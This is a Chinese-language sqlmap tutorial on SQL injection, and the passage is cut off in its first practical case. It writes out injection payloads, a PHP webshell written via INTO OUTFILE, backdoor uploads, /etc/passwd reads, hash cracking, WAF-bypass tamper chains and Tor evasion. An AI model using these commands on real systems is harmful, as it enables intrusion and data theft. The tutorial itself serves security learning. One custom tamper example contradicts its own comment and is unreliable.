sqlmap 完整使用教程:从入门到精通
摘要:sqlmap 是渗透测试领域最强大的自动化 SQL 注入工具,支持检测和利用几乎所有的 SQL 注入类型。本文将从安装部署、检测原理、参数详解、实战技巧到防御方案,系统地讲解 sqlmap 的方方面面。全文约 50+ 个常用参数详解、20+ 个实战案例,适合安全从业者和开发人员阅读。
⚠️ 法律声明:本文所有内容仅供网络安全学习、授权渗透测试及 CTF 竞赛使用。未经授权对目标系统进行测试属于违法行为,测试者需自行承担相应法律责任。
目录
- sqlmap 是什么
- 安装与环境配置
- 核心概念:sqlmap 是如何工作的
- 基础用法速查
- 目标指定方式
- 注入检测与指纹识别
- 数据库信息枚举
- 数据提取
- 注入技术详解
- 权限提升与系统接管
- Tamper 脚本:绕过 WAF 与过滤
- 高级特性
- 实战案例集
- 检测与防御 SQL 注入
- 常见问题与排错
- 总结与最佳实践
1. sqlmap 是什么
1.1 简介
sqlmap 是一款开源的自动化 SQL 注入检测与利用工具,由 Bernardo Damele 和 Miroslav Stampar 开发,使用 Python 编写。
核心能力: - ┌─────────────────────────────────────────────────┐
- │ sqlmap 能力矩阵 │
- ├─────────────────────────────────────────────────┤
- │ ✅ 自动检测 SQL 注入点 │
- │ ✅ 支持 6 种注入技术 │
- │ ✅ 支持 30+ 数据库类型 │
- │ ✅ 自动识别后端数据库指纹 │
- │ ✅ 枚举数据库、表、列、数据 │
- │ ✅ 读取/写入文件(条件满足时) │
- │ ✅ 执行操作系统命令(条件满足时) │
- │ ✅ 自带 50+ tamper 脚本绕过 WAF │
- │ ✅ 支持代理、Tor、延迟、混淆等隐蔽手段 │
- └─────────────────────────────────────────────────┘
复制代码
1.2 支持的数据类型与注入技术
支持的注入技术(6 种):
| 技术 | 参数 | 说明 |
|---|
| Boolean-based blind(布尔盲注) | B | 通过页面响应差异推断数据 | | Error-based(报错注入) | E | 利用数据库错误信息提取数据 | | Union query(联合查询) | U | 使用 UNION SELECT 直接读取 | | Stacked queries(堆叠查询) | S | 多条 SQL 语句一起执行 | | Time-based blind(时间盲注) | T | 通过响应时间差异推断数据 | | Inline query(内联查询) | Q | 在原始查询中嵌入子查询 |
支持的主流数据库(部分): - MySQL, PostgreSQL, Oracle, Microsoft SQL Server,
- SQLite, Microsoft Access, IBM DB2, Firebird,
- Sybase, SAP MaxDB, Informix, HSQLDB, H2,
- MonetDB, Apache Derby, Amazon Redshift,
- Vertica, Mckoi, Presto, Altibase, MimerSQL,
- CrateDB, Greenplum, Drizzle, Apache Ignite,
- Cubrid, InterSystems Cache, IRIS, eXtremeDB,
- FrontBase, Raima Database Manager,
- YugabyteDB, Virtuoso, TiDB
复制代码
2. 安装与环境配置
2.1 Kali Linux(预装)
Kali Linux 已预装 sqlmap,开箱即用: - # 确认版本
- sqlmap --version
- # 更新到最新版
- cd /usr/share/sqlmap
- git pull
复制代码
2.2 Linux / macOS 手动安装 - # 克隆仓库
- git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git
- cd sqlmap
- # 直接运行
- python sqlmap.py --help
- # 或创建软链接
- sudo ln -s $(pwd)/sqlmap.py /usr/local/bin/sqlmap
- sqlmap --version
复制代码
2.3 Windows 安装 - # 方式 1: Git 克隆
- git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git
- cd sqlmap
- python sqlmap.py --help
- # 方式 2: 下载 ZIP
- # 访问 https://github.com/sqlmapproject/sqlmap/releases
- # 解压后进入目录执行 python sqlmap.py
复制代码
2.4 Python 依赖检查 - # sqlmap 是纯 Python 标准库,无需 pip 安装任何依赖
- # 唯一要求:Python >= 2.7 或 Python 3.x
- python --version # Python 3.8+ 推荐
- # 可选依赖(部分高级特性需要)
- pip install pymysql # MySQL 直连
- pip install psycopg2 # PostgreSQL 直连
- pip install cx_Oracle # Oracle 直连
- pip install pyodbc # SQL Server 直连
- pip install impacket # Windows 认证
- pip install certifi # HTTPS 请求
复制代码
3. 核心概念:sqlmap 是如何工作的
3.1 工作流程 - ┌────────────────────────────────────────────────────┐
- │ sqlmap 自动化检测流程 │
- ├────────────────────────────────────────────────────┤
- │ │
- │ 1. 发送正常请求 → 记录正常响应(baseline) │
- │ ↓ │
- │ 2. 在每个参数后追加测试 payload │
- │ - 单引号 ' 双引号 " 反斜杠 \ │
- │ - 括号组合 ) )) ') ") │
- │ ↓ │
- │ 3. 分析响应差异 │
- │ - 页面内容变化 → Boolean-based blind │
- │ - 数据库错误信息 → Error-based │
- │ - 响应时间延迟 → Time-based blind │
- │ ↓ │
- │ 4. 确定注入点 → 指纹识别后端数据库 │
- │ ↓ │
- │ 5. 枚举数据库结构 → 提取数据 │
- │ ↓ │
- │ 6. (可选) 权限提升 → 文件操作 → 系统命令执行 │
- │ │
- └────────────────────────────────────────────────────┘
复制代码
3.2 关键概念表
| 概念 | 含义 |
|---|
| 注入点 (Injection Point) | URL 中可被注入的参数位置 | | Payload | 发送给目标用于触发注入的 SQL 片段 | | Baseline | 正常响应,作为判断注入是否成功的基准 | | 指纹 (Fingerprint) | 通过技术手段识别后端数据库类型和版本 | | Enumeration | 逐步获取数据库结构信息的过程 | | Tamper | 对 payload 进行编码/混淆以绕过防护的脚本 |
4. 基础用法速查
4.1 三步快速入门 - # 第 1 步:检测注入点
- sqlmap -u "http://target.com/page.php?id=1"
- # 第 2 步:获取数据库列表
- sqlmap -u "http://target.com/page.php?id=1" --dbs
- # 第 3 步:导出指定表的数据
- sqlmap -u "http://target.com/page.php?id=1" -D dbname -T users --dump
复制代码
4.2 最常用参数速查 - # ===== 目标 =====
- -u "URL" # 指定 URL
- -m urls.txt # 批量 URL 文件
- -r request.txt # 从 Burp/浏览器 复制的 HTTP 请求文件
- -l burp.log # 解析 Burp Suite 日志
- # ===== 检测 =====
- --level=1-5 # 检测等级(默认 1,越高越全面)
- --risk=1-3 # 风险等级(默认 1,3 可能修改数据)
- -p "id,name" # 指定要测试的参数
- --skip="password" # 跳过某些参数
- --dbms=mysql # 指定数据库类型(跳过指纹识别)
- --batch # 非交互模式,全部使用默认选项
- # ===== 枚举 =====
- --dbs # 列出所有数据库
- --tables # 列出当前库的所有表
- --columns -T users # 列出 users 表的所有列
- -D dbname --tables # 列出指定库的表
- -D dbname -T users --dump # 导出 users 表全部数据
- # ===== 高级 =====
- --os-shell # 获取系统 shell(条件苛刻)
- --sql-shell # 获取交互式 SQL shell
- --tamper=space2comment # 使用 tamper 脚本绕过 WAF
- --proxy="http://127.0.0.1:8080" # 通过代理发送请求
- --random-agent # 随机 User-Agent
- --delay=3 # 每次请求间隔 3 秒
- --threads=10 # 并发线程数
复制代码
5. 目标指定方式
5.1 直接指定 URL - # 最基本用法
- sqlmap -u "http://example.com/vuln.php?id=1"
- # 带多个参数
- sqlmap -u "http://example.com/vuln.php?id=1&cat=2"
- # POST 请求(自动检测)
- sqlmap -u "http://example.com/login.php" --data="user=admin&pass=123456"
复制代码
5.2 从文件读取 HTTP 请求(推荐方式)
这是最准确的方式——从 Burp Suite 或浏览器开发者工具复制完整的 HTTP 请求: - # 从文本文件读取请求
- sqlmap -r request.txt
复制代码
request.txt 示例(从 Burp 复制而来): - POST /api/login HTTP/1.1
- Host: target.com
- User-Agent: Mozilla/5.0
- Content-Type: application/x-www-form-urlencoded
- Cookie: PHPSESSID=abc123
- X-Forwarded-For: 127.0.0.1
- username=admin&password=123456
复制代码- # 指定文件中的哪个参数
- sqlmap -r request.txt -p username
- # 在指定位置标记注入点(用 * 号)
- # 修改 request.txt:
- # username=admin*&password=123456
- sqlmap -r request.txt # sqlmap 会自动识别 * 标记
复制代码
5.3 批量扫描 - # 从 Burp 日志批量扫描
- sqlmap -l burp.log --batch
- # 从 URL 列表文件批量扫描
- sqlmap -m urls.txt --batch
- # 使用 Google Dork 自动搜索(需联网和 API Key)
- sqlmap -g "inurl:php?id=1 site:example.com"
复制代码
5.4 HTTPS / 认证 / 特殊 Header - # 忽略 SSL 证书错误
- sqlmap -u "https://target.com/page.php?id=1" --ignore-ssl
- # 添加 Cookie
- sqlmap -u "http://target.com/page.php?id=1" --cookie="PHPSESSID=abc123"
- # 添加自定义 Header
- sqlmap -u "http://target.com/page.php?id=1" \
- --headers="X-API-Key: abc123\nX-Forwarded-For: 10.0.0.1"
- # HTTP Basic 认证
- sqlmap -u "http://target.com/admin.php?id=1" --auth-type=basic \
- --auth-cred="admin:password"
- # Digest 认证
- sqlmap -u "http://target.com/admin.php?id=1" --auth-type=digest \
- --auth-cred="admin:password"
复制代码
5.5 选项速查
| 参数 | 用途 |
|---|
| -u "URL" | 直接指定目标 URL | | --data="key=val" | POST 请求数据 | | -r req.txt | 从文件读取完整 HTTP 请求 | | -l burp.log | 从 Burp 日志解析目标 | | -m urls.txt | 批量 URL 扫描 | | -g "dork" | Google Dork 自动搜索 | | --cookie="..." | 添加 Cookie | | --headers="..." | 添加自定义 Header | | --auth-type=basic | HTTP 认证类型 | | --auth-cred="u:p" | 认证凭据 | | --proxy="..." | 使用代理 | | --ignore-ssl | 忽略证书错误 | | --force-ssl | 强制使用 SSL |
6. 注入检测与指纹识别
6.1 检测等级 (–level) - --level=1 # 默认:测试 GET/POST 参数
- --level=2 # 增加:测试 Cookie 中的参数
- --level=3 # 增加:测试 User-Agent / Referer 中的参数
- --level=4 # 增加:测试更多 HTTP Header
- --level=5 # 全面:穷举所有可能的位置
复制代码
等级越高 → 检测越全面 → 请求越多 → 越容易被发现 - # 实例:测试所有参数(包括 Cookie 和 UA)
- sqlmap -u "http://target.com/page.php?id=1" --level=3
- # 实例:只测试指定参数
- sqlmap -u "http://target.com/page.php?id=1&cat=2" -p id
复制代码
6.2 风险等级 (–risk) - --risk=1 # 默认:使用安全的 payload
- --risk=2 # 增加:使用时间盲注(可能较慢)
- --risk=3 # 增加:使用 OR 语句(可能修改数据库!)
复制代码
⚠️ --risk=3 可能触发 UPDATE/DELETE 的 OR 条件,绝不在生产环境使用!
6.3 检测阶段参数 - # ----- 指定数据库类型(跳过指纹识别,加速检测)-----
- sqlmap -u "http://target.com/page.php?id=1" --dbms=mysql
- sqlmap -u "http://target.com/page.php?id=1" --dbms="MySQL >= 5.6"
- # ----- 强制使用某类注入技术 -----
- sqlmap -u "..." --technique=B # 只用布尔盲注
- sqlmap -u "..." --technique=BEU # 布尔+报错+联合查询
- sqlmap -u "..." --technique=T # 只用时间盲注
- sqlmap -u "..." --technique=U # 只用联合查询
- # ----- 联合查询的列数探测 -----
- sqlmap -u "..." --union-cols=5 # 指定 UNION 列数
- sqlmap -u "..." --union-cols=1-20 # 在 1 到 20 列之间探测
- sqlmap -u "..." --union-char=@ # 指定 UNION 查询使用的占位字符
- # ----- 盲注字符串 -----
- sqlmap -u "..." --string="Welcome" # 查询成功时页面含有的字符串
- sqlmap -u "..." --not-string="Error" # 查询失败时页面含有的字符串
复制代码
6.4 指纹识别 - # 基础指纹(默认会自动做)
- sqlmap -u "..." -f # 更详细的数据库指纹
- sqlmap -u "..." -b # 获取数据库 Banner 信息
- sqlmap -u "..." --hostname # 获取数据库服务器主机名
- sqlmap -u "..." --current-user # 获取当前数据库用户
- sqlmap -u "..." --current-db # 获取当前数据库名
- sqlmap -u "..." --users # 枚举所有数据库用户
- sqlmap -u "..." --passwords # 枚举数据库用户密码哈希
- sqlmap -u "..." --privileges # 枚举当前用户权限
- sqlmap -u "..." --roles # 枚举角色
- sqlmap -u "..." --dbs # 枚举所有数据库
复制代码- # 综合信息收集(推荐用于初步侦察)
- sqlmap -u "http://target.com/page.php?id=1" --banner --current-user --current-db --hostname --is-dba
复制代码
输出示例: - [*] starting @ 14:32:01 /2026-07-08/
- [14:32:02] [INFO] testing connection to the target URL
- [14:32:03] [INFO] checking if the target is protected by some kind of WAF/IPS
- [14:32:04] [INFO] testing if the target URL content is stable
- [14:32:05] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable
- [14:32:06] [INFO] testing for SQL injection on GET parameter 'id'
- [14:32:06] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
- [14:32:07] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
- [14:32:08] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'
- [14:32:09] [INFO] GET parameter 'id' is 'MySQL >= 5.5 AND error-based' injectable
- [14:32:10] [INFO] testing 'MySQL inline queries'
- [14:32:10] [INFO] testing 'MySQL > 5.0.11 stacked queries'
- [14:32:11] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
- [14:32:12] [INFO] GET parameter 'id' appears to be 'MySQL > 5.0.11 AND time-based blind' injectable
- back-end DBMS: MySQL >= 5.5
- banner: '5.7.38-0ubuntu0.18.04.1'
- current user: 'root@localhost'
- current database: 'webapp'
- hostname: 'ubuntu-server'
- current user is DBA: True
复制代码
7. 数据库信息枚举
7.1 枚举完整层级 - # ======= 第一层:数据库列表 =======
- sqlmap -u "..." --dbs
- # ======= 第二层:指定数据库的表 =======
- sqlmap -u "..." -D webapp --tables
- # ======= 第三层:指定表的列 =======
- sqlmap -u "..." -D webapp -T users --columns
- # ======= 第四层:导出数据 =======
- sqlmap -u "..." -D webapp -T users --dump
- # 导出指定列
- sqlmap -u "..." -D webapp -T users -C "username,password,email" --dump
- # 只导出前 10 行(测试用)
- sqlmap -u "..." -D webapp -T users --dump --start=1 --stop=10
复制代码
7.2 搜索特定内容 - # 在所有库中搜索包含 "password" 的列名
- sqlmap -u "..." --search -C password
- # 在所有库中搜索包含 "admin" 的表名
- sqlmap -u "..." --search -T admin
- # 在指定库中搜索
- sqlmap -u "..." -D webapp --search -C pass,token,key
- # 输出格式:
- # Database: webapp
- # Table: users
- # [2 columns]
- # +----------+----------+
- # | Column | Type |
- # +----------+----------+
- # | password | varchar |
- # | token | varchar |
- # +----------+----------+
复制代码
7.3 常用枚举参数汇总 - # ---------- 数据库级 ----------
- --dbs # 所有数据库
- --current-db # 当前数据库
- --schema # 完整数据库结构(所有库→表→列)
- # ---------- 表级 ----------
- --tables # 当前库的所有表
- -D dbname --tables # 指定库的表
- --exclude-sysdbs # 排除系统数据库
- # ---------- 列级 ----------
- -D dbname -T users --columns # 指定表的列
- -D dbname -T users --count # 行数统计
- -D dbname -T users -C col1,col2 --dump
- # ---------- 搜索 ----------
- --search -T pattern # 搜索表名
- --search -C pattern # 搜索列名
- --search -D pattern # 搜索数据库名
复制代码
8. 数据提取
8.1 导出数据 - # 全部导出
- sqlmap -u "..." -D webapp -T users --dump
- # 只导出前 100 行
- sqlmap -u "..." -D webapp -T users --dump --start=1 --stop=100
- # 只导出特定列
- sqlmap -u "..." -D webapp -T users -C "id,username,password" --dump
- # 按 WHERE 条件过滤(需支持堆叠查询)
- sqlmap -u "..." -D webapp -T users --dump \
- --where="username LIKE '%admin%'"
- # 按 ORDER BY 排序
- sqlmap -u "..." -D webapp -T users --dump \
- --sql-query="SELECT * FROM users ORDER BY id DESC LIMIT 10"
复制代码
8.2 输出格式 - # 输出为 CSV 文件(默认在 ~/.local/share/sqlmap/output/)
- sqlmap -u "..." -D webapp -T users --dump
- ls ~/.local/share/sqlmap/output/target.com/dump/webapp/
- # 指定输出目录
- sqlmap -u "..." -D webapp -T users --dump --output-dir=/tmp/sqlmap/
- # 输出格式选项
- sqlmap -u "..." -T users --dump --csv-del=";" # CSV 分隔符
复制代码
8.3 破解密码哈希
sqlmap 自带密码哈希识别和破解功能: - # dump 时自动识别密码哈希并尝试破解
- sqlmap -u "..." -D webapp -T users --dump
- # 输出示例:
- # Database: webapp
- # Table: users
- # [3 entries]
- # +----+----------+---------------------------------------------+------------------+
- # | id | username | password | email |
- # +----+----------+---------------------------------------------+------------------+
- # | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 (password)| admin@site.com |
- # | 2 | editor | e10adc3949ba59abbe56e057f20f883e (123456) | editor@site.com |
- # | 3 | guest | guest | guest@site.com |
- # +----+----------+---------------------------------------------+------------------+
- # 手动指定要破解的哈希
- sqlmap -u "..." -T users -C password --dump --batch
- # 使用字典文件破解
- sqlmap -u "..." -T users -C password --dump \
- --passwords --wordlist=/usr/share/wordlists/rockyou.txt
复制代码
8.4 执行自定义 SQL 查询 - # 执行自定义查询
- sqlmap -u "..." --sql-query="SELECT @@version, @@datadir"
- # 交互式 SQL Shell
- sqlmap -u "..." --sql-shell
- # sql-shell> SELECT LOAD_FILE('/etc/passwd');
- # sql-shell> SELECT * FROM mysql.user;
复制代码
9. 注入技术详解
9.1 Boolean-based Blind(布尔盲注,B)
原理:通过发送不同的条件,观察页面响应的差异来逐位推断数据。 - -- 正常条件(页面正常返回)
- ?id=1 AND 1=1
- -- 错误条件(页面返回不同)
- ?id=1 AND 1=2
- -- 逐字符推断数据
- ?id=1 AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'
复制代码
适用场景:
- 页面只返回两种状态(有/无内容)
- 没有错误信息回显
- 联合查询被禁用
- # 强制使用布尔盲注
- sqlmap -u "http://target.com/page.php?id=1" --technique=B
- # 自定义真假判断字符串
- sqlmap -u "..." --technique=B \
- --string="Welcome back" \ # 真条件页面包含
- --not-string="Not found" # 假条件页面包含
复制代码
9.2 Error-based(报错注入,E)
原理:利用数据库的报错信息提取数据。 - -- MySQL 报错注入示例
- ?id=1' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT database())))--+
- ?id=1' AND UPDATEXML(1,CONCAT(0x7e,(SELECT @@version)),1)--+
- -- PostgreSQL 报错注入
- ?id=1' AND CAST((SELECT current_database()) AS int)--
- -- MSSQL 报错注入
- ?id=1' AND 1=CONVERT(int,(SELECT @@version))--
复制代码
适用场景:
- 数据库开启了错误回显
- 是最快的数据提取方式(不需要逐位推断)
- # 强制使用报错注入
- sqlmap -u "http://target.com/page.php?id=1" --technique=E
复制代码
9.3 Union Query(联合查询,U)
原理:使用 UNION SELECT 将攻击者构造的查询结果拼接到页面输出中。 - -- 确定列数
- ?id=1 ORDER BY 3--+
- -- Union 查询
- ?id=-1 UNION SELECT 1,2,database()--+
- -- 提取数据
- ?id=-1 UNION SELECT 1,username,password FROM users--+
复制代码
适用场景:
- SELECT 查询结果直接显示在页面上
- 最快的数据提取方式
- # 指定列数
- sqlmap -u "..." --technique=U --union-cols=5
- # 指定 UNION 前后范围
- sqlmap -u "..." --technique=U --union-cols=3-10
- # 指定 UNION 字符(通常用 NULL 占位)
- sqlmap -u "..." --technique=U --union-char=NULL
复制代码
9.4 Time-based Blind(时间盲注,T)
原理:通过延时函数判断条件真假。 - -- MySQL:条件真则延时 5 秒
- ?id=1' AND IF(SUBSTRING(database(),1,1)='w', SLEEP(5), 0)--+
- -- PostgreSQL:条件真则延时 5 秒
- ?id=1' AND (SELECT CASE WHEN (current_database() LIKE 'w%')
- THEN pg_sleep(5) ELSE pg_sleep(0) END)--
- -- MSSQL:条件真则延时 5 秒
- ?id=1'; IF (SELECT @@version LIKE 'Microsoft%')
- WAITFOR DELAY '0:0:5'--
复制代码
适用场景:
- # 强制使用时间盲注
- sqlmap -u "http://target.com/page.php?id=1" --technique=T
- # 自定义延时时间(秒)
- sqlmap -u "..." --technique=T --time-sec=3
复制代码
9.5 Stacked Queries(堆叠查询,S)
原理:利用分号 ; 执行多条 SQL 语句。 - -- 在原始查询后追加新语句
- ?id=1; INSERT INTO users(username,password) VALUES('hacker','123456')--
- ?id=1; DROP TABLE users--+ -- 极度危险!
- ?id=1; SELECT LOAD_FILE('/etc/passwd')--+
复制代码
关键条件:数据库支持多语句执行(如 PHP + MySQL 的 mysqli_multi_query()) - sqlmap -u "http://target.com/page.php?id=1" --technique=S
复制代码
9.6 注入技术选择策略 - # 综合检测所有技术(默认)
- sqlmap -u "..."
- # 快速检测:优先用最快的方式
- sqlmap -u "..." --technique=BEU
- # 稳定检测:只用盲注(适合生产环境侦察)
- sqlmap -u "..." --technique=BT
- # 深度检测:用所有技术
- sqlmap -u "..." --technique=BEUSTQ
复制代码
9.7 注入点后缀与前缀
当自动检测失败时,手动指定注入环境的语法结构: - # 如果参数被括号包裹:WHERE id = (1)
- sqlmap -u "..." --suffix=")"
- # 如果参数在字符串中:WHERE name = 'admin'
- sqlmap -u "..." --prefix="')" --suffix=" AND ('1'='1"
- # 综合示例
- sqlmap -u "http://target.com/page.php?id=1" --prefix="')" --suffix="--+"
复制代码
10. 权限提升与系统接管
⚠️ 以下操作仅在授权测试环境中使用!在生产环境执行可能造成不可逆损害。
10.1 获取操作系统 Shell
获取操作系统 Shell 需要多项条件同时满足: - # 尝试获取系统 shell
- sqlmap -u "..." --os-shell
- # 前置条件:
- # 1. 数据库用户有 FILE 权限(MySQL)
- # 2. 知道 Web 根目录的绝对路径
- # 3. Web 目录可写
- # 4. 数据库允许写入文件(secure_file_priv 为空或指向 web 目录)
复制代码
获取 OS Shell 的路径(MySQL 为例): - Step 1: 检测权限
- SELECT @@secure_file_priv; # 空 = 无限制,有路径 = 只能写该目录
- SELECT user, file_priv FROM mysql.user WHERE user=current_user();
- Step 2: 写入 webshell(通过 INTO OUTFILE)
- SELECT '<?php system($_GET["cmd"]); ?>'
- INTO OUTFILE '/var/www/html/shell.php';
- Step 3: 通过 webshell 执行命令
- curl "http://target.com/shell.php?cmd=whoami"
- Step 4: sqlmap 会自动完成步骤 2~3 并给你一个交互式 shell
复制代码- # 指定 Web 根路径
- sqlmap -u "..." --os-shell --web-root="/var/www/html"
- # 指定要使用的语言
- sqlmap -u "..." --os-shell --os-cmd="whoami" --language=PHP
- # 如果知道绝对路径,直接指定上传路径
- sqlmap -u "..." --file-dest="/var/www/html/upload/cmd.php" --os-shell
复制代码
10.2 文件读写 - # ---------- 读取文件 ----------
- sqlmap -u "..." --file-read="/etc/passwd"
- # 文件会保存到 ~/.local/share/sqlmap/output/target.com/files/
- sqlmap -u "..." --file-read="C:\\Windows\\System32\\drivers\\etc\\hosts"
- # ---------- 写入文件 ----------
- sqlmap -u "..." --file-write="/tmp/local_malware.php" \
- --file-dest="/var/www/html/backdoor.php"
复制代码
10.3 权限检测 - # 检测当前用户是否为 DBA
- sqlmap -u "..." --is-dba
- # 枚举所有权限
- sqlmap -u "..." --privileges
- # MySQL: 检测 FILE 权限(文件读写的关键)
- sqlmap -u "..." --privileges -U root
- # 输出:
- # database management system users privileges:
- # [*] 'root'@'localhost' (administrator) [FILE, CREATE, INSERT, ...]
复制代码
10.4 实战:MySQL UDF 提权 - # 当 MySQL 以 root 运行且有写入权限时
- sqlmap -u "..." --udf-inject
- # sqlmap 会自动:
- # 1. 检测系统架构和 MySQL 插件目录
- # 2. 上传对应的 UDF 动态库(.so / .dll)
- # 3. 创建 sys_exec() / sys_eval() 函数
- # 4. 通过函数执行系统命令
复制代码
11. Tamper 脚本:绕过 WAF 与过滤
11.1 什么是 Tamper 脚本
Tamper 脚本是 sqlmap 最强大的特性之一——它们对 payload 进行编码和变形,以绕过 WAF(Web Application Firewall)和输入过滤。 - # 语法
- sqlmap -u "..." --tamper=脚本名
- # 多个 tamper 脚本叠加(按顺序执行)
- sqlmap -u "..." --tamper=space2comment,randomcase,charencode
- # 查看所有可用 tamper 脚本
- ls /usr/share/sqlmap/tamper/
- sqlmap --list-tampers
复制代码
11.2 常用 Tamper 脚本分类
① 绕过空格过滤
| 脚本 | 效果 | 示例 |
|---|
| space2comment | 空格 → /**/ | SELECT/**/1 | | space2plus | 空格 → + | SELECT+1 | | space2randomblank | 空格 → 随机空白字符 | SELECT%0A1 | | space2dash | 空格 → --%0A | SELECT--%0A1 | | space2mysqlblank | 空格 → MySQL 合法空白符 | SELECT%0B1 | | space2mssqlblank | 空格 → MSSQL 合法空白符 | SELECT%0E1 |
② 绕过关键字过滤
| 脚本 | 效果 |
|---|
| randomcase | 关键字随机大小写:SeLeCt, UnIoN | | commentout | 在关键字中插入注释绕过:SEL/**/ECT | | keywordmask | 关键字部分替换:SELECT → (SELSELECTECT) |
③ 编码绕过
| 脚本 | 效果 |
|---|
| charencode | 字符 URL 编码:1 AND 1 → 1%20%41%4E%44%201 | | chardoubleencode | 双重 URL 编码 | | charunicodeencode | Unicode 编码:SELECT → %u0053%u0045%u004C%u0045%u0043%u0054 | | hex2char | 将十六进制字符串转为 CONCAT(CHAR(...)) | | htmlencode | HTML 实体编码 |
④ 逻辑等价替换
| 脚本 | 效果 |
|---|
| equaltolike | = → LIKE | | equaltoregex | = → REGEXP | | greatest | > → GREATEST() | | ifnull2ifisnull | IFNULL(A,B) → IF(ISNULL(A),B,A) | | modsecurityversioned | 版本注释绕过:1 UNION SELECT → 1/*!UNION/*!SELECT*/ |
⑤ 高级混淆
| 脚本 | 效果 |
|---|
| apostrophemask | 单引号 → %EF%BC%87(全角) | | apostrophenullencode | 单引号 → %00%27 | | base64encode | Base64 编码 payload(需后端有解码函数) | | xforwardedfor | 伪造 X-Forwarded-For 头 | | between | > → BETWEEN |
11.3 Tamper 组合策略 - # 场景 1: 基础 WAF(如 ModSecurity 默认规则)
- --tamper=space2comment,randomcase,charencode
- # 场景 2: 严格的关键字过滤
- --tamper=space2randomblank,commentout,randomcase,charencode
- # 场景 3: 云 WAF(如 Cloudflare、阿里云 WAF)
- --tamper=space2comment,randomcase,between,charencode,charunicodeencode \
- --random-agent --delay=2
- # 场景 4: 强过滤 + 等效函数替换
- --tamper=between,equaltolike,greatest,ifnull2ifisnull,symboliclogical \
- --no-cast
- # 场景 5: 极限绕过(可能影响注入成功率)
- --tamper=apostrophemask,apostrophenullencode,base64encode,chardoubleencode,charencode,charunicodeencode,commentout,equaltolike,greatest,ifnull2ifisnull,modsecurityversioned,multiplespaces,percentage,randomcase,space2comment,space2randomblank,versionedmorekeywords
复制代码
11.4 自定义 Tamper 脚本
编写自己的 tamper 脚本非常简单: - #!/usr/bin/env python
- # 保存为 /usr/share/sqlmap/tamper/my_tamper.py
- """
- 自定义 Tamper: 将空格替换为 MySQL 内联注释 /*!12345*/
- """
- from lib.core.enums import PRIORITY
- __priority__ = PRIORITY.NORMAL
- def dependencies():
- pass
- def tamper(payload, **kwargs):
- """
- 将 payload 中的空格替换为 /*!12345*/
- """
- if payload:
- retVal = payload.replace(" ", "/**/")
- return retVal
- else:
- return payload
- # 使用
- # sqlmap -u "..." --tamper=my_tamper
复制代码
tamper 脚本的 API: - def tamper(payload, **kwargs):
- # payload: 当前要修改的 SQL 注入 payload(字符串)
- # kwargs['headers']: HTTP 请求头字典
- # kwargs['delimiter']: 当前 payload 的分隔符
- return modified_payload # 返回修改后的 payload
复制代码
12. 高级特性
12.1 连接与请求优化 - # 持久连接(HTTP Keep-Alive)—— 减少握手开销
- sqlmap -u "..." --keep-alive
- # 空连接(跳过 HTTP body 传输)—— 读取文件时加速
- sqlmap -u "..." --null-connection
- # 多线程
- sqlmap -u "..." --threads=5 # 默认 1,最大 10
- # 限制每次请求的数据量
- sqlmap -u "..." --chunked # 分块传输
复制代码
12.2 隐蔽与反检测 - # ---------- 请求速率 ----------
- --delay=2 # 每次请求间隔 2 秒
- --timeout=10 # 请求超时 10 秒
- --retries=2 # 失败重试 2 次
- # ---------- 身份伪装 ----------
- --random-agent # 每次请求随机 User-Agent
- --user-agent="Googlebot/2.1" # 自定义 UA
- --mobile # 使用手机 UA
- --referer="https://google.com" # 伪造 Referer
- --headers="X-Forwarded-For: 1.2.3.4" # 伪造 IP
- # ---------- 代理 ----------
- --proxy="http://127.0.0.1:8080" # HTTP 代理(Burp 抓包)
- --proxy="socks5://127.0.0.1:9050" # SOCKS5 代理
- --proxy-cred="user:pass" # 代理认证
- --ignore-proxy # 忽略系统代理
- # ---------- Tor 匿名网络 ----------
- --tor # 通过 Tor 网络发送请求
- --tor-port=9051 # 自定义 Tor 端口
- --tor-type=SOCKS5 # Tor 代理类型
- --check-tor # 检查 Tor 是否正常工作
- # 使用 Tor 前需要先启动 Tor 服务:
- # sudo systemctl start tor
复制代码
12.3 会话与恢复 - # 保存当前会话(可随时恢复)
- # 会话默认存储在 ~/.local/share/sqlmap/output/ 下
- # sqlmap 会自动为每个目标创建独立会话文件
- # 列出已保存的会话
- sqlmap --flush-session # 清除当前目标会话
- sqlmap --fresh-queries # 忽略已缓存的查询结果
- # 修改 sqlmap 的输出目录
- sqlmap -u "..." --output-dir=/mnt/data/sqlmap_output/
复制代码
12.4 自动化与批量 - # 全程非交互模式(适合脚本化)
- sqlmap -u "http://target.com/page.php?id=1" --batch --dump
- # 解析 Burp 日志,自动测试所有 URL
- sqlmap -l burp_targets.log --batch --smart
- # --smart 参数:只在有明确注入迹象时才深入测试,减少请求量
- sqlmap -u "http://target.com/page.php?id=1" --smart
- # 从文件批量扫描(一行一个 URL)
- sqlmap -m urls.txt --batch --dbs
复制代码
12.5 读取 HTTPS 流量(配合 Burp) - # 方案 1: 使用 Burp 作为上游代理
- sqlmap -u "https://target.com/page.php?id=1" \
- --proxy="http://127.0.0.1:8080"
- # 方案 2: 导出 Burp 请求到文件,sqlmap 重放
- # 在 Burp 中 右键 → "Copy to file" → request.txt
- sqlmap -r request.txt --ignore-ssl
- # 方案 3: 添加 Burp 的 CA 证书,信任 Burp 的 SSL 拦截
- sqlmap -u "https://target.com/page.php?id=1" --ignore-ssl
复制代码
13. 实战案例集
案例 1:标准 GET 注入 → 完整导出 - # 目标: http://testphp.vulnweb.com/listproducts.php?cat=1
- # Step 1: 检测
- sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --batch
- # Step 2: 获取数据库
- sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs --batch
- # Step 3: 选目标库导出所有表
- sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" \
- -D acuart --tables --batch
- # Step 4: 导出用户表
- sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" \
